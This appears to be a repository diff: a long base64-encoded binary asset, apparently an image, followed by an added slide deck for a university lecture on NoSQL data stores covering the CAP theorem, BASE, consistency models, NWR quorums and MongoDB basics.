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+  <head>
+    <meta charset="utf-8" />
+    <title>Non-Relational Data Stores</title>
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+    <textarea id="source">
+class: center, middle
+
+# Non-Relational Data Stores
+
+## CS291A: Scalable Internet Services
+
+---
+
+# NoSQL Motivation
+
+After today's lecture you will understand how NoSQL can be used to build
+scalable Internet services.
+
+NoSQL data stores are not likely to be part of your project, nevertheless,
+after this lecture you should understand where you might use them in practice.
+
+---
+
+# Application Growth
+
+.center[
+![Database Symbol](database_symbol.svg)
+![Database Symbol](database_symbol.svg)
+![Database Symbol](database_symbol.svg)
+]
+
+As our application experiences greater and greater popularity, the data
+layer proves difficult to scale horizontally.
+
+Without a scaling path for our data layer, our growing data set and/or our usage
+of the database will become a bottleneck limiting our application.
+
+---
+
+# Scaling Relational Databases
+
+Relational Databases are great tools for our data layer. Unfortunately, there
+is no simple way to spread load across multiple RDBMSes.
+
+We've looked a ta few techniques for scaling RDBMSes:
+
+* Distinguishing Reads from Writes
+
+* Service Oriented Architectures
+
+* Sharding
+
+---
+
+# RDBMS Scaling Limitations
+
+> What if these techniques aren't sufficient for our application?
+
+* We are already using read-replicas, and it's not enough.
+
+* We've already broken our application out via SOA, and still have load
+  hotspots.
+
+* There's no good way to shard our application.
+
+When relational databases fail to scale to our needs, we need to turn to
+non-relational solutions.
+
+---
+
+# NoSQL
+
+.left-column30[
+![Database Symbol](database_symbol.svg)
+]
+.right-column70[
+Non-relational databases are often referred to as NoSQL databases.
+
+This is an umbrella term for many types of databases:
+
+* Key-value stores
+
+* Column-oriented data stores
+
+* Document-oriented stores
+
+* Graph databases
+]
+
+---
+
+# NoSQL: Horizontal Scaling
+
+.center[
+![Database Symbol](database_symbol.svg)
+![Database Symbol](database_symbol.svg)
+![Database Symbol](database_symbol.svg)
+]
+
+Most NoSQL solutions are good at horizontal scaling.
+
+In exchange for better horizontal scaling, NoSQL databases provide applications
+fewer guarantees.
+
+---
+
+# NoSQL: Synchronizing Writes
+
+.left-column[
+![NoSQL Scaling](NoSQL-base.svg)
+]
+.right-column[
+Let's say we want a database to span multiple machines.
+
+We can send writes to both nodes, and the nodes will keep each other in sync.
+]
+
+---
+
+# NoSQL: Write Conflicts
+
+.left-column[
+![NoSQL Scaling: Write Conflict](NoSQL-email.svg)
+]
+.right-column[
+Let's say:
+
+* We have two clients sending writes.
+
+* There's a uniqueness constraint on the email field.
+
+If both try to write the same email address to different rows, and the
+databases can communicate, they can resolve the conflict in some manner.
+
+For example: One succeeds, the other fails.
+]
+
+---
+
+# NoSQL: Network Partitions
+
+.left-column[
+![NoSQL Scaling: Network Partition](NoSQL-partition.svg)
+]
+.right-column[
+> How do we handle a network partition?
+]
+
+---
+
+# NoSQL: Network Partitions
+
+.left-column[
+![NoSQL Scaling: Network Partition](NoSQL-partition.svg)
+]
+.right-column[
+> How do we handle a network partition?
+
+If the databases cannot communicate, they cannot determine if an update
+violates database consistency.
+
+Solutions:
+
+* Allow the the write and hope for the best.
+
+* Reject writes during a network partition.
+]
+
+---
+
+# NoSQL: Network Partitions
+
+.left-column[
+![NoSQL Scaling: Network Partition](NoSQL-partition.svg)
+]
+.right-column[
+If we allow both writes, our database is not __consistent__.
+
+If we do not allow the writes, our database is not __available__.
+
+If we only operate where network __partitions__ cannot occur, we are not a
+distributed service.
+]
+
+---
+
+# CAP Theorem
+
+.left-column[
+![CAP](CAP.png)
+]
+.right-column[
+
+]
+
+---
+
+# CAP Theorem
+
+.left-column[
+![CAP](CAP.png)
+]
+.right-column[
+Situations like these motivated the CAP Theorem.
+
+Formalized by Eric Brewer, late 90s.
+
+Theorem: You can have at most two of these properties for any shared-data
+system.
+]
+
+---
+
+# Consistent and Partition Tolerant
+
+.left-column[
+![CAP](CAP.png)
+]
+.right-column[
+* Always consistent
+
+* Can handle network partitions
+
+* Not always available to clients
+
+In the earlier example, a CP solution would not allow any writes.
+]
+
+---
+
+# Available and Partition Tolerant
+
+.left-column[
+![CAP](CAP.png)
+]
+.right-column[
+* Always accessible
+
+* Can handle network partitions
+
+* Not always consistent
+
+In the earlier example, an AP solution would accept the conflicting writes.
+]
+
+---
+
+# Consistent and Available
+
+.left-column[
+![CAP](CAP.png)
+]
+.right-column[
+* Always accessible
+
+* Always consistent
+
+* Assumes no network partitions
+
+A CA system would never get into the earlier scenario because it would not be
+deployed where partitions occur.
+]
+
+---
+
+# Partition (In)Tolerance
+
+.left-column[
+![CAP](CAP.png)
+]
+.right-column[
+Assuming no partitions is very limiting:
+
+* For high availability and latency reasons, supporting multiple data
+  centers are desirable
+
+* Even within a single datacenter, partitions occur
+
+As a result, scalable Internet services require partition tolerance, and thus
+have to choose between consistency, or availability.  ]
+
+---
+
+# ACID vs. BASE
+
+The BASE acronym was created to describe these NoSQL solutions that make
+tradeoffs between Availability and Consistency.
+
+| ACID        | BASE                  |
+|:------------|:----------------------|
+| Atomicity   | Basically             |
+| Consistency | Available             |
+| Isolation   | Soft State            |
+| Durability  | Eventually Consistent |
+
+---
+
+# Consistency
+
+Consistency comes in many forms:
+
+## Strong Consistency
+
+* After update, everyone sees the updated value
+
+## Eventual Consistency
+
+* Eventually the system will converge on the updated value
+
+* Read-your-writes consistency
+
+  * Writer immediately sees written values
+
+* Causal consistency
+
+  * Writer, and those they communicate with, sees written values
+
+* Session consistency
+
+  * Within a session writer sees written values
+
+---
+
+# NWR: Nodes
+
+.left-column40[
+.left-column[
+![Database Symbol](database_symbol.svg)
+
+![Database Symbol](database_symbol.svg)
+
+![Database Symbol](database_symbol.svg)
+]
+.right-column[
+![Database Symbol](database_symbol.svg)
+
+![Database Symbol](database_symbol.svg)
+]
+]
+.right-column60[
+N, W, & R are a useful shorthand for describing the read/write strategy of a
+data store.
+
+_N_ refers to the number of separate nodes that retain a copy of the data. Here
+`N=5`.
+]
+
+---
+
+# NWR: Write
+
+.left-column40[
+  .left-column[
+  .background-pink[
+      ![Database Symbol](database_symbol.svg)]
+
+  ![Database Symbol](database_symbol.svg)
+  .background-pink[
+      ![Database Symbol](database_symbol.svg)]
+  ]
+  .right-column[
+    ![Database Symbol](database_symbol.svg)
+  .background-pink[
+      ![Database Symbol](database_symbol.svg)]
+  ]
+]
+.right-column60[
+_W_ refers to the number of separate nodes that must receive writes of some
+data. Here .background-pink[W=3].
+]
+
+---
+
+# NWR: Read
+
+.left-column40[
+.left-column[
+![Database Symbol](database_symbol.svg)
+.background-green[
+![Database Symbol](database_symbol.svg)
+]
+![Database Symbol](database_symbol.svg)
+]
+.right-column[
+![Database Symbol](database_symbol.svg)
+.background-green[
+![Database Symbol](database_symbol.svg)]
+]
+]
+.right-column60[
+_R_ refers to the number of nodes consulted when reading. Here
+.background-green[R=2].
+]
+
+---
+
+# Using NWR: `W + R &lt;= N`
+
+.left-column40[
+.left-column[
+.background-pink[
+![Database Symbol](database_symbol.svg)
+]
+.background-pink[
+![Database Symbol](database_symbol.svg)
+]
+.background-green[
+![Database Symbol](database_symbol.svg)
+]
+]
+.right-column[
+.background-green[
+![Database Symbol](database_symbol.svg)
+]
+.background-pink[
+![Database Symbol](database_symbol.svg)]
+]
+]
+.right-column60[
+When `W + R &lt;= N` no general guarantees can be made pertaining to
+consistency.
+
+## `3 + 2 &lt;= 5`
+]
+
+---
+
+# Using NWR: `W + R &gt; N`
+
+.left-column40[
+.left-column[
+.background-pink[
+![Database Symbol](database_symbol.svg)
+]
+.background-pink[
+![Database Symbol](database_symbol.svg)
+]
+.background-green[
+![Database Symbol](database_symbol.svg)
+]
+]
+.right-column[
+.background-green[
+![Database Symbol](database_symbol.svg)
+]
+.background-blue[
+![Database Symbol](database_symbol.svg)]
+]
+]
+.right-column60[
+When `W + R &gt; N` all writes are captured by .background-blue[at least one]
+of the read nodes.
+
+Any two size-3 subsets of five nodes must have an overlap.
+
+## `3 + 3 &gt; 5`
+]
+
+---
+
+# NWR: Strong Consistency
+
+For strong consistency, many combinations can work.
+
+## .background-pink[W=1], .background-green[R=N]
+
+Write to any one node, consult all nodes on reads. Use the _newest_ value.
+
+--
+
+## .background-pink[W=N], .background-green[R=1]
+
+Write to all nodes, consult any node on read.
+
+--
+
+## .background-pink[W=N/2 + 1], .background-green[R=N/2 + 1]
+
+Write to a quorum, read from a quorum. Use the _newest_ value.
+
+---
+
+# NWR: Weak Consistency
+
+For weaker notions of consistency, we choose `W + R &lt;= N`.
+
+Sticky sessions can be used to implement __session consistency__, which is a
+form of __read-your-writes consistency__.
+
+* Use a cookie, or other information to ensure a single user talks to the same
+node(s) for both reads and writes.
+
+---
+
+class: center inverse middle
+
+# NoSQL
+
+---
+
+# NoSQL Stores
+
+There are different types of NoSQL stores:
+
+### Document-oriented stores
+
+* We will look at MongoDB
+
+### Key-value stores
+
+* We will look at Redis
+
+### Column-oriented data stores
+
+* We will look at Cassandra
+
+### Graph databases
+
+* Specialized data stores, not always horizontally scalable
+* We won't be looking at these
+
+---
+
+# ![MongoDB](MongoDB-Logo.svg)
+
+.left-column[
+![MongoDB Collection](crud-annotated-collection.png)
+]
+.right-column[
+MongoDB is a Document-oriented data store.
+
+* Stores "Documents" that are nested hash-like structures.
+
+* These Documents are stored in "Collections" (similar to RDBMS table).
+
+* Documents do not have fixed schema.
+
+* Documents can have references to other documents.
+]
+
+---
+
+# ![MongoDB](MongoDB-Logo.svg) Insert
+
+.left-column30[
+Query language is not SQL.
+]
+.right-column70[
+![Mongo Insert](crud-insert-stages.svg)
+]
+
+---
+
+# ![MongoDB](MongoDB-Logo.svg) Query
+
+.left-column30[
+Query language is not SQL.
+]
+.right-column70[
+![Mongo Query](crud-query-stages.svg)
+]
